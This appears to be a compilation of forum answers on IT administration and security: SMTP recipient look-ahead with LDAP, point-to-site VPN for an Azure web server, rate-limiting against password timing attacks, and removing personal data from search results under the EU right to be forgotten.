SMTP look-ahead only works if the next hop is able to authoritatively answer, i.e. it must reject invalid recipients (with an SMTP 550) or it will not be effective. You may need to configure it to do that (some SMTP servers inexplicably default to accepting anything, then generating a bounce for invalid recipients). Look ahead is implicitly enabled if LDAP is not used. If you're using MS-Exchange, this is quite likely what's preventing the default look-ahead from being effective, look at this approach first.

Otherwise, using LDAP is the next best approach, though not without some risk since you're allowing a device which accepts untrusted connections from the internet establish connections to your AD. More paranoid alternatives are an LDAP proxy in a DMZ (reasonably straightforward with OpenLDAP as a proxy); or a filtered replica in a DMZ (I believe this may not be easy to do with AD, though it's easy in a OpenLDAP environment).

(Also, if you're not using it already, try the Barracuda RBL, it's very effective at blocking unwanted connections, though expect a low number of false positives).


Migrating IIS to Azure So basically, right now we have a fully public facing Web server inside the local network and is a member of the domain. We're going to be migrating this to azure. I have recommended that the server be in it's own azure VNET, not connected to the domain.

My intentions here we're that no link would exists between us and the Azure IIS Server, other than our ability to upload files to the Azure File storage and RDP into the server.

However, I am having issues with uploading files to the Azure File storage (as our ISP blocks port 445 outgoing.)

Everyone around here keeps talking about a VPN to our azure VNet would resolve the issue. To me this basically means that our Azure VNet would then be a member of the network and we're in the same boat we are now. Is my assumption correct?

Azure supports different kinds of VPN connectivity.  You can set up not only a site-to-site VPN, which is what I suspect is what you're currently thinking that will create a network-level link between your corporate network and Azure, allowing you to securely route traffic to Azure without having to worry about your ISPs policies, but you can also set up a point-to-point VPN connection, which sounds like it may be all you need given your stated requirements.   In this configuration, the machine or machines(s) that are going to be pushing new files to Azure would have the VPN client and could set up and tear down tunnels directly, and only as they need them to push updates or manage the Azure environment.  This way you don't need to have a persistent network level route to the Azure infrastructure that could be used for traffic outside of what you intend and believe you need.

There are other ways that you could set up your network to limit the capability to access the Azure resources, but a point-to-point VPN is likely the simplest and easiest to manage.


Is it effective to check how many times the same password was entered in fear of a string comparison timing attack? How many times would an attacker have to enter the same password when doing a string comparison timing attack? I assume it would have to be at least a few dozen times to average out network lag, for example. If the number is significantly more than the number a normal user would enter, is checking the number of times a person enters a password an effective way to combat string comparison timing attacks? For example, if the tries of the same password exceeds 100 then require a CAPTCHA? Is this more resource efficient than simply checking the whole password?

You should already be rate-limiting login attempts after a few requests (temporary lockout, CAPTCHA, Clippy popping up and berating you, etc.). This is a common way to stop brute-force attacks, and it will also seriously cripple those trying to do timing attacks.

Edit:

Also, if you're hashing passwords and looking them up in a database, timing attacks shouldn't be very relevant. The attacker would have to be able to produce arbitrary hashes to gradually "home in" on the right one. This is very difficult!

Timing attacks will be more relevant for things like session cookies


Personal Information shows up in Google Search from a mailing list Years ago, when I was young and fool, I sent personal information on a mailing list. Now, if someone type my first name and last name, this content shows up. I do not want this content to show up.

What could be done to address this annoying situation?

To be honest, I thought my mail would directly go into some developers' mailbox. It appears I was wrong.

I am from Europe, if that matters.

In some countries (including all countries within the European Union) there is - it's called the right to be forgotten.

You'll have to fill out a form per search engine, the one for Google can be found here.